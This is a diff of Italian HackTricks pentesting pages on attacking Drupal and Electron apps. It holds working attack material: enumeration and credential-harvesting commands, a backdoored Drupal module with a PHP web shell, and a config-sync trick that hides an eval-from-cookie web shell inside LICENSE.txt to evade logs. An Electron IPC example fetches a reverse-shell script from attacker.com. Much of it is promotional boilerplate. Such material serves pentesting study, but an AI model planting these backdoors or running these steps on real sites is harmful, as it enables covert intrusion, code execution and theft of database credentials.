* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
## Discovery
|
||||||
|
|
||||||
|
* Controlla **meta**
|
||||||
|
```bash
|
||||||
|
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||||
|
```
|
||||||
|
* **Nodo**: Drupal **indicizza i suoi contenuti utilizzando nodi**. Un nodo può **contenere qualsiasi cosa** come un post di blog, un sondaggio, un articolo, ecc. Gli URI delle pagine sono di solito della forma `/node/<nodeid>`.
|
||||||
|
```bash
|
||||||
|
curl drupal-site.com/node/1
|
||||||
|
```
|
||||||
|
## Enumerazione
|
||||||
|
|
||||||
|
Drupal supporta **tre tipi di utenti** di default:
|
||||||
|
|
||||||
|
1. **`Amministratore`**: Questo utente ha il controllo completo sul sito web di Drupal.
|
||||||
|
2. **`Utente Autenticato`**: Questi utenti possono accedere al sito web e svolgere operazioni come aggiungere e modificare articoli in base ai loro permessi.
|
||||||
|
3. **`Anonimo`**: Tutti i visitatori del sito web sono designati come anonimi. Di default, a questi utenti è consentito solo leggere i post.
|
||||||
|
|
||||||
|
### Versione
|
||||||
|
|
||||||
|
* Controlla `/CHANGELOG.txt`
|
||||||
|
```bash
|
||||||
|
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
|
||||||
|
|
||||||
|
Drupal 7.57, 2018-02-21
|
||||||
|
```
|
||||||
|
{% hint style="info" %}
|
||||||
|
Le installazioni più recenti di Drupal di default bloccano l'accesso ai file `CHANGELOG.txt` e `README.txt`.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Enumerazione degli username
|
||||||
|
|
||||||
|
#### Registrazione
|
||||||
|
|
||||||
|
In _/user/register_ prova semplicemente a creare un username e se il nome è già stato preso verrai notificato:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (328).png>)
|
||||||
|
|
||||||
|
#### Richiesta di nuova password
|
||||||
|
|
||||||
|
Se richiedi una nuova password per un username esistente:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (903).png>)
|
||||||
|
|
||||||
|
Se richiedi una nuova password per un username inesistente:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (307).png>)
|
||||||
|
|
||||||
|
### Ottenere il numero di utenti
|
||||||
|
|
||||||
|
Accedendo a _/user/\<number>_ puoi vedere il numero di utenti esistenti, in questo caso sono 2 poiché _/users/3_ restituisce un errore non trovato:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (333).png>)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (227) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
### Pagine nascoste
|
||||||
|
|
||||||
|
**Fuzz `/node/$` dove `$` è un numero** (da 1 a 500 per esempio).\
|
||||||
|
Potresti trovare **pagine nascoste** (test, dev) che non sono referenziate dai motori di ricerca.
|
||||||
|
|
||||||
|
#### Informazioni sui moduli installati
|
||||||
|
```bash
|
||||||
|
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
|
||||||
|
#Get info on installed modules
|
||||||
|
curl https://example.com/config/sync/core.extension.yml
|
||||||
|
curl https://example.com/core/core.services.yml
|
||||||
|
|
||||||
|
# Download content from files exposed in the previous step
|
||||||
|
curl https://example.com/config/sync/swiftmailer.transport.yml
|
||||||
|
```
|
||||||
|
### Automatico
|
||||||
|
```bash
|
||||||
|
droopescan scan drupal -u http://drupal-site.local
|
||||||
|
```
|
||||||
|
## RCE
|
||||||
|
|
||||||
|
Se hai accesso alla console web di Drupal, controlla queste opzioni per ottenere RCE:
|
||||||
|
|
||||||
|
{% content-ref url="drupal-rce.md" %}
|
||||||
|
[drupal-rce.md](drupal-rce.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Post Esploitation
|
||||||
|
|
||||||
|
### Leggi settings.php
|
||||||
|
```
|
||||||
|
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
|
||||||
|
```
|
||||||
|
### Estrarre gli utenti dal database
|
||||||
|
```
|
||||||
|
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
|
||||||
|
```
|
||||||
|
## Riferimenti
|
||||||
|
|
||||||
|
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||||
|
|
||||||
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||||
|
|
||||||
|
</details>
|
269
network-services-pentesting/pentesting-web/drupal/drupal-rce.md
Normal file
|
@ -0,0 +1,269 @@
|
||||||
|
# Drupal RCE
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Con il Modulo PHP Filter
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
Nelle versioni precedenti di Drupal **(prima della versione 8)**, era possibile accedere come amministratore e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/frammenti PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
È necessario che il **plugin php sia installato** (verifica accedendo a _/modules/php_ e se restituisce un **403** allora, **esiste**, se **non trovato**, allora il **plugin php non è installato**)
|
||||||
|
|
||||||
|
Vai su _Moduli_ -> (**Controlla**) _PHP Filter_ -> _Salva configurazione_
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||||||
|
|
||||||
|
Quindi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina di base_ o _Articolo_ -> Scrivi _shellcode php nel corpo_ -> Seleziona _Codice PHP_ in _Formato testo_ -> Seleziona _Anteprima_
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (338).png>)
|
||||||
|
|
||||||
|
Infine accedi semplicemente al nodo appena creato:
|
||||||
|
```bash
|
||||||
|
curl http://drupal-site.local/node/3
|
||||||
|
```
|
||||||
|
## Installare il Modulo Filtro PHP
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Dalla versione **8 in poi, il** [**modulo Filtro PHP**](https://www.drupal.org/project/php/releases/8.x-1.1) **non è più installato per impostazione predefinita**. Per sfruttare questa funzionalità, dovremmo **installare il modulo noi stessi**.
|
||||||
|
|
||||||
|
1. Scaricare la versione più recente del modulo dal sito web di Drupal.
|
||||||
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||||
|
2. Una volta scaricato, andare su **`Amministrazione`** > **`Report`** > **`Aggiornamenti disponibili`**.
|
||||||
|
3. Fare clic su **`Sfoglia`**, selezionare il file dalla directory in cui lo abbiamo scaricato e poi fare clic su **`Installa`**.
|
||||||
|
4. Una volta installato il modulo, possiamo fare clic su **`Contenuto`** e **creare una nuova pagina di base**, simile a quanto fatto nell'esempio di Drupal 7. Di nuovo, assicurarsi di **selezionare `Codice PHP` dal menu a discesa `Formato testo`**.
|
||||||
|
|
||||||
|
## Modulo con Backdoor
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Un modulo con backdoor può essere creato **aggiungendo una shell a un modulo esistente**. I moduli possono essere trovati sul sito drupal.org. Scegliamo un modulo come [CAPTCHA](https://www.drupal.org/project/captcha). Scorri verso il basso e copia il link per l'**archivio tar.gz** [archivio](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||||
|
|
||||||
|
* Scaricare l'archivio ed estrarne i contenuti.
|
||||||
|
```
|
||||||
|
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||||
|
tar xvf captcha-8.x-1.2.tar.gz
|
||||||
|
```
|
||||||
|
* Creare una **shell web PHP** con il contenuto:
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
system($_GET["cmd"]);
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
* Successivamente, dobbiamo creare un file **`.htaccess`** per darci accesso alla cartella. Questo è necessario poiché Drupal nega l'accesso diretto alla cartella **`/modules`**.
|
||||||
|
```html
|
||||||
|
<IfModule mod_rewrite.c>
|
||||||
|
RewriteEngine On
|
||||||
|
RewriteBase /
|
||||||
|
</IfModule>
|
||||||
|
```
|
||||||
|
* La configurazione sopra applicherà le regole per la cartella / quando richiediamo un file in /modules. Copia entrambi questi file nella cartella captcha e crea un archivio.
|
||||||
|
```bash
|
||||||
|
mv shell.php .htaccess captcha
|
||||||
|
tar cvf captcha.tar.gz captcha/
|
||||||
|
```
|
||||||
|
* Presumendo di avere **accesso amministrativo** al sito web, fare clic su **`Gestisci`** e poi su **`Estendi`** nella barra laterale. Successivamente, fare clic sul pulsante **`+ Installa nuovo modulo`**, e saremo portati alla pagina di installazione, come ad esempio `http://sito-drupal.locale/admin/moduli/installa`. Navigare nell'archivio Captcha backdoored e fare clic su **`Installa`**.
|
||||||
|
* Una volta completata l'installazione, navigare a **`/moduli/captcha/shell.php`** per eseguire comandi.
|
||||||
|
|
||||||
|
## Backdooring Drupal con la sincronizzazione della configurazione <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||||
|
|
||||||
|
**Post condiviso da** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||||
|
|
||||||
|
### Parte 1 (attivazione di _Media_ e _Media Library_)
|
||||||
|
|
||||||
|
Nel menu _Estendi_ (/admin/moduli), è possibile attivare ciò che sembrano essere plugin già installati. Di default, i plugin _Media_ e _Media Library_ non sembrano essere attivati, quindi attiviamoli.
|
||||||
|
|
||||||
|
Prima dell'attivazione:
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Dopo l'attivazione:
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
### Parte 2 (sfruttare la funzionalità _Sincronizzazione della configurazione_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||||
|
|
||||||
|
Sfrutteremo la funzionalità _Sincronizzazione della configurazione_ per esportare e importare voci di configurazione di Drupal:
|
||||||
|
|
||||||
|
* /admin/config/development/configuration/single/export
|
||||||
|
* /admin/config/development/configuration/single/import
|
||||||
|
|
||||||
|
**Patch system.file.yml**
|
||||||
|
|
||||||
|
Iniziamo applicando la patch alla prima voce `allow_insecure_uploads` da:
|
||||||
|
|
||||||
|
File: system.file.yml
|
||||||
|
```
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
allow_insecure_uploads: false
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
A:
|
||||||
|
|
||||||
|
File: system.file.yml
|
||||||
|
```
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
allow_insecure_uploads: true
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
**Applica la patch al campo field.field.media.document.field\_media\_document.yml**
|
||||||
|
|
||||||
|
Successivamente, applica la patch alla seconda voce `file_extensions` da:
|
||||||
|
|
||||||
|
File: field.field.media.document.field\_media\_document.yml
|
||||||
|
```
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||||||
|
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||||||
|
|
||||||
|
...
|
||||||
|
```
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
A:
|
||||||
|
|
||||||
|
File: field.field.media.document.field\_media\_document.yml
|
||||||
|
```
|
||||||
|
...
|
||||||
|
|
||||||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||||||
|
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
> Non lo uso in questo post del blog ma è noto che è possibile definire l'ingresso `file_directory` in modo arbitrario ed è vulnerabile a un attacco di attraversamento del percorso (quindi possiamo tornare indietro all'interno dell'albero del filesystem di Drupal).
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
### Parte 3 (sfruttando la funzionalità _Aggiungi documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||||
|
|
||||||
|
L'ultimo passo è il più semplice, ed è suddiviso in due sotto-passaggi. Il primo consiste nel caricare un file in formato .htaccess per sfruttare le direttive di Apache e consentire ai file .txt di essere interpretati dal motore PHP. Il secondo è caricare un file .txt contenente il nostro payload.
|
||||||
|
|
||||||
|
File: .htaccess
|
||||||
|
```
|
||||||
|
<Files *>
|
||||||
|
SetHandler application/x-httpd-php
|
||||||
|
</Files>
|
||||||
|
|
||||||
|
# Vroum! Vroum!
|
||||||
|
# We reactivate PHP engines for all versions in order to be targetless.
|
||||||
|
<IfModule mod_php.c>
|
||||||
|
php_flag engine on
|
||||||
|
</IfModule>
|
||||||
|
<IfModule mod_php7.c>
|
||||||
|
php_flag engine on
|
||||||
|
</IfModule>
|
||||||
|
<IfModule mod_php5.c>
|
||||||
|
php_flag engine on
|
||||||
|
</IfModule>
|
||||||
|
```
|
||||||
|
Perché è figo questo trucco?
|
||||||
|
|
||||||
|
Perché una volta che il Webshell (che chiameremo LICENSE.txt) è stato caricato sul server Web, possiamo trasmettere i nostri comandi tramite `$_COOKIE` e nei log del server Web, questo verrà visualizzato come una richiesta GET legittima a un file di testo.
|
||||||
|
|
||||||
|
Perché chiamare il nostro Webshell LICENSE.txt?
|
||||||
|
|
||||||
|
Semplicemente perché se prendiamo il seguente file, ad esempio [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (che è già presente nel core di Drupal), abbiamo un file di 339 righe e 17,6 KB di dimensioni, perfetto per aggiungere un piccolo snippet di codice PHP in mezzo (dato che il file è abbastanza grande).
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
File: LICENSE.txt Patchato
|
||||||
|
```txt
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
this License, you may choose any version ever published by the Free Software
|
||||||
|
Foundation.
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
# We inject our payload into the cookies so that in the logs of the compromised
|
||||||
|
# server it shows up as having been requested via the GET method, in order to
|
||||||
|
# avoid raising suspicions.
|
||||||
|
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||||||
|
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||||||
|
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||||||
|
} else {
|
||||||
|
phpinfo();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
10. If you wish to incorporate parts of the Program into other free
|
||||||
|
programs whose distribution conditions are different, write to the author
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
#### **Parte 3.1 (caricamento file .htaccess)**
|
||||||
|
|
||||||
|
Innanzitutto, sfruttiamo la funzionalità _Aggiungi documento_ (/media/add/document) per caricare il nostro file contenente le direttive Apache (.htaccess).
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
**Parte 3.2 (caricamento file LICENSE.txt)**
|
||||||
|
|
||||||
|
Successivamente, sfruttiamo nuovamente la funzionalità _Aggiungi documento_ (/media/add/document) per caricare un Webshell nascosto all'interno di un file di licenza.
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
### Parte 4 (interazione con il Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||||
|
|
||||||
|
L'ultima parte consiste nell'interagire con il Webshell.
|
||||||
|
|
||||||
|
Come mostrato nello screenshot seguente, se il cookie atteso dal nostro Webshell non è definito, otteniamo il risultato successivo quando consultiamo il file tramite un browser Web.
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Quando l'attaccante imposta il cookie, può interagire con il Webshell ed eseguire qualsiasi comando desideri.
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
E come puoi vedere nei log, sembra che sia stato richiesto solo un file txt.
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Grazie per aver dedicato del tempo a leggere questo articolo, spero che ti aiuti a ottenere delle shell.
|
|
@ -1,20 +1,20 @@
|
||||||
# RCE Electron tramite contextIsolation via IPC
|
# Electron contextIsolation RCE via IPC
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Se lo script di caricamento anticipato espone un endpoint IPC dal file main.js, il processo di rendering sarà in grado di accedervi e se vulnerabile, potrebbe essere possibile un RCE.
|
Se lo script di caricamento iniziale espone un endpoint IPC dal file main.js, il processo di rendering sarà in grado di accedervi e, se vulnerabile, potrebbe essere possibile un RCE.
|
||||||
|
|
||||||
**La maggior parte di questi esempi sono stati presi da qui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Controlla il video per ulteriori informazioni.
|
**La maggior parte di questi esempi sono stati presi da qui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Controlla il video per ulteriori informazioni.
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@ Se lo script di caricamento anticipato espone un endpoint IPC dal file main.js,
|
||||||
|
|
||||||
Esempio da [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (hai l'esempio completo di come MS Teams è stato abusato da XSS a RCE in quelle diapositive, questo è solo un esempio molto basilare):
|
Esempio da [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (hai l'esempio completo di come MS Teams è stato abusato da XSS a RCE in quelle diapositive, questo è solo un esempio molto basilare):
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Esempio 1
|
## Esempio 1
|
||||||
|
|
||||||
|
@ -77,7 +77,7 @@ window.electronSend = (event, data) => {
|
||||||
ipcRenderer.send(event, data);
|
ipcRenderer.send(event, data);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Sfruttare:
|
**Sfruttare:**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
||||||
|
@ -85,7 +85,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
||||||
```
|
```
|
||||||
## Esempio 2
|
## Esempio 2
|
||||||
|
|
||||||
Se lo script di caricamento anticipato espone direttamente al renderer un modo per chiamare `shell.openExternal`, è possibile ottenere RCE.
|
Se lo script di caricamento anticipato espone direttamente al renderer un modo per chiamare `shell.openExternal`, è possibile ottenere l'esecuzione di codice remoto (RCE).
|
||||||
```javascript
|
```javascript
|
||||||
// Part of preload.js code
|
// Part of preload.js code
|
||||||
window.electronOpenInBrowser = (url) => {
|
window.electronOpenInBrowser = (url) => {
|
||||||
|
|
|
@ -10,13 +10,13 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -78,9 +78,9 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
||||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
